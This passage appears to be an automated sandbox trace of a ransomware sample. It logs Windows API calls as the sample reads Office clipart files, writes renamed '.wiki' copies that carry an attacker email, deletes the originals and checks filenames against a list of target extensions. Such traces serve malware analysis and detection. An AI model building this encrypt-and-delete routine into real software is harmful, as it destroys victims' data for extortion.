| out: lpFileSize=0x2dcff1c*=6888) returned 1 [0198.996] CloseHandle (hObject=0x220) returned 1 [0198.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf")) returned 0x20 [0198.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0198.997] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.997] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0198.997] GetLastError () returned 0x0 [0198.997] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1ae8, lpOverlapped=0x0) returned 1 [0198.999] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1af0, lpOverlapped=0x0) returned 1 [0199.001] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.001] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.001] SetEndOfFile (hFile=0x1e0) returned 1 [0199.001] CloseHandle (hObject=0x1e0) returned 1 [0199.001] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.001] SetEndOfFile (hFile=0x220) returned 1 [0199.002] CloseHandle (hObject=0x220) returned 1 [0199.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.002] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf")) returned 1 [0199.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0199.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0199.003] lstrlenW (lpString=".doc") returned 4 [0199.003] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.003] lstrlenW (lpString=".docx") returned 5 [0199.003] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0199.003] lstrlenW (lpString=".pdf") returned 4 [0199.003] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.003] lstrlenW (lpString=".xls") returned 4 [0199.003] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.003] lstrlenW (lpString=".xlsx") returned 5 [0199.003] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0199.003] lstrlenW (lpString=".ppt") returned 4 [0199.003] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0199.003] lstrlenW (lpString=".zip") returned 4 [0199.003] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.003] lstrlenW (lpString=".rar") returned 4 [0199.003] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.003] lstrlenW (lpString=".bz2") returned 4 [0199.003] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.003] lstrlenW (lpString=".7z") returned 3 [0199.003] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0199.003] lstrlenW (lpString=".dbf") returned 4 [0199.003] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0199.003] lstrlenW (lpString=".1cd") returned 4 [0199.003] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0199.003] lstrlenW (lpString=".jpg") returned 4 [0199.003] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0199.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0199.004] lstrlenW (lpString=".doc") returned 4 [0199.004] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.004] lstrlenW (lpString=".docx") returned 5 [0199.004] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0199.004] lstrlenW (lpString=".pdf") returned 4 [0199.004] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.004] lstrlenW (lpString=".xls") returned 4 [0199.004] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.004] lstrlenW (lpString=".xlsx") returned 5 [0199.004] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0199.004] lstrlenW (lpString=".ppt") returned 4 [0199.004] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0199.004] lstrlenW (lpString=".zip") returned 4 [0199.004] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.004] lstrlenW (lpString=".rar") returned 4 [0199.004] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.004] lstrlenW (lpString=".bz2") returned 4 [0199.004] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.004] lstrlenW (lpString=".7z") returned 3 [0199.004] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0199.004] lstrlenW (lpString=".dbf") returned 4 [0199.004] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0199.004] lstrlenW (lpString=".1cd") returned 4 [0199.004] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0199.004] lstrlenW (lpString=".jpg") returned 4 [0199.005] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.005] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.005] lstrlenW (lpString="J0172035.WMF") returned 12 [0199.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.005] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=7448) returned 1 [0199.005] CloseHandle (hObject=0x220) returned 1 [0199.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf")) returned 0x20 [0199.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.006] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.006] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0199.006] GetLastError () returned 0x0 [0199.006] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1d18, lpOverlapped=0x0) returned 1 [0199.010] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1d20, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1d20, lpOverlapped=0x0) returned 1 [0199.010] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.010] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.011] SetEndOfFile (hFile=0x1e0) returned 1 [0199.011] CloseHandle (hObject=0x1e0) returned 1 [0199.011] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.011] SetEndOfFile (hFile=0x220) returned 1 [0199.012] CloseHandle (hObject=0x220) returned 1 [0199.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf")) returned 1 [0199.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0199.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0199.012] lstrlenW (lpString=".doc") returned 4 [0199.012] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.012] lstrlenW (lpString=".docx") returned 5 [0199.012] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0199.012] lstrlenW (lpString=".pdf") returned 4 [0199.012] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.012] lstrlenW (lpString=".xls") returned 4 [0199.012] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.012] lstrlenW (lpString=".xlsx") returned 5 [0199.012] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0199.012] lstrlenW (lpString=".ppt") returned 4 [0199.012] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0199.012] lstrlenW (lpString=".zip") returned 4 [0199.012] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.012] lstrlenW (lpString=".rar") returned 4 [0199.012] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.012] lstrlenW (lpString=".bz2") returned 4 [0199.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.013] lstrlenW (lpString=".7z") returned 3 [0199.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0199.013] lstrlenW (lpString=".dbf") returned 4 [0199.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0199.013] lstrlenW (lpString=".1cd") returned 4 [0199.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0199.013] lstrlenW (lpString=".jpg") returned 4 [0199.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0199.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0199.013] lstrlenW (lpString=".doc") returned 4 [0199.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.013] lstrlenW (lpString=".docx") returned 5 [0199.013] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0199.013] lstrlenW (lpString=".pdf") returned 4 [0199.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.013] lstrlenW (lpString=".xls") returned 4 [0199.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.013] lstrlenW (lpString=".xlsx") returned 5 [0199.013] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0199.013] lstrlenW (lpString=".ppt") returned 4 [0199.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0199.013] lstrlenW (lpString=".zip") returned 4 [0199.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.013] lstrlenW (lpString=".rar") returned 4 [0199.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.013] lstrlenW (lpString=".bz2") returned 4 [0199.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.014] lstrlenW (lpString=".7z") returned 3 [0199.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0199.014] lstrlenW (lpString=".dbf") returned 4 [0199.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0199.014] lstrlenW (lpString=".1cd") returned 4 [0199.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0199.014] lstrlenW (lpString=".jpg") returned 4 [0199.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.014] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.014] lstrlenW (lpString="J0172067.WMF") returned 12 [0199.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.014] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=7028) returned 1 [0199.014] CloseHandle (hObject=0x220) returned 1 [0199.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf")) returned 0x20 [0199.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.015] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.015] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0199.015] GetLastError () returned 0x0 [0199.015] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1b74, lpOverlapped=0x0) returned 1 [0199.017] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1b80, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1b80, lpOverlapped=0x0) returned 1 [0199.018] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.018] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.018] SetEndOfFile (hFile=0x1e0) returned 1 [0199.018] CloseHandle (hObject=0x1e0) returned 1 [0199.018] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.018] SetEndOfFile (hFile=0x220) returned 1 [0199.019] CloseHandle (hObject=0x220) returned 1 [0199.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf")) returned 1 [0199.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0199.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0199.019] lstrlenW (lpString=".doc") returned 4 [0199.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.019] lstrlenW (lpString=".docx") returned 5 [0199.019] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0199.020] lstrlenW (lpString=".pdf") returned 4 [0199.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.020] lstrlenW (lpString=".xls") returned 4 [0199.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.020] lstrlenW (lpString=".xlsx") returned 5 [0199.020] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0199.020] lstrlenW (lpString=".ppt") returned 4 [0199.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0199.020] lstrlenW (lpString=".zip") returned 4 [0199.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.020] lstrlenW (lpString=".rar") returned 4 [0199.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.020] lstrlenW (lpString=".bz2") returned 4 [0199.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.020] lstrlenW (lpString=".7z") returned 3 [0199.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0199.020] lstrlenW (lpString=".dbf") returned 4 [0199.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0199.020] lstrlenW (lpString=".1cd") returned 4 [0199.020] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0199.020] lstrlenW (lpString=".jpg") returned 4 [0199.020] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0199.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0199.021] lstrlenW (lpString=".doc") returned 4 [0199.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.021] lstrlenW (lpString=".docx") returned 5 [0199.021] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0199.021] lstrlenW (lpString=".pdf") returned 4 [0199.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.021] lstrlenW (lpString=".xls") returned 4 [0199.021] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.021] lstrlenW (lpString=".xlsx") returned 5 [0199.021] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0199.021] lstrlenW (lpString=".ppt") returned 4 [0199.021] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0199.021] lstrlenW (lpString=".zip") returned 4 [0199.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.021] lstrlenW (lpString=".rar") returned 4 [0199.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.021] lstrlenW (lpString=".bz2") returned 4 [0199.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.021] lstrlenW (lpString=".7z") returned 3 [0199.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0199.021] lstrlenW (lpString=".dbf") returned 4 [0199.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0199.021] lstrlenW (lpString=".1cd") returned 4 [0199.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0199.021] lstrlenW (lpString=".jpg") returned 4 [0199.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.022] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.022] lstrlenW (lpString="J0172193.WMF") returned 12 [0199.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.022] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=12696) returned 1 [0199.022] CloseHandle (hObject=0x220) returned 1 [0199.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf")) returned 0x20 [0199.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft 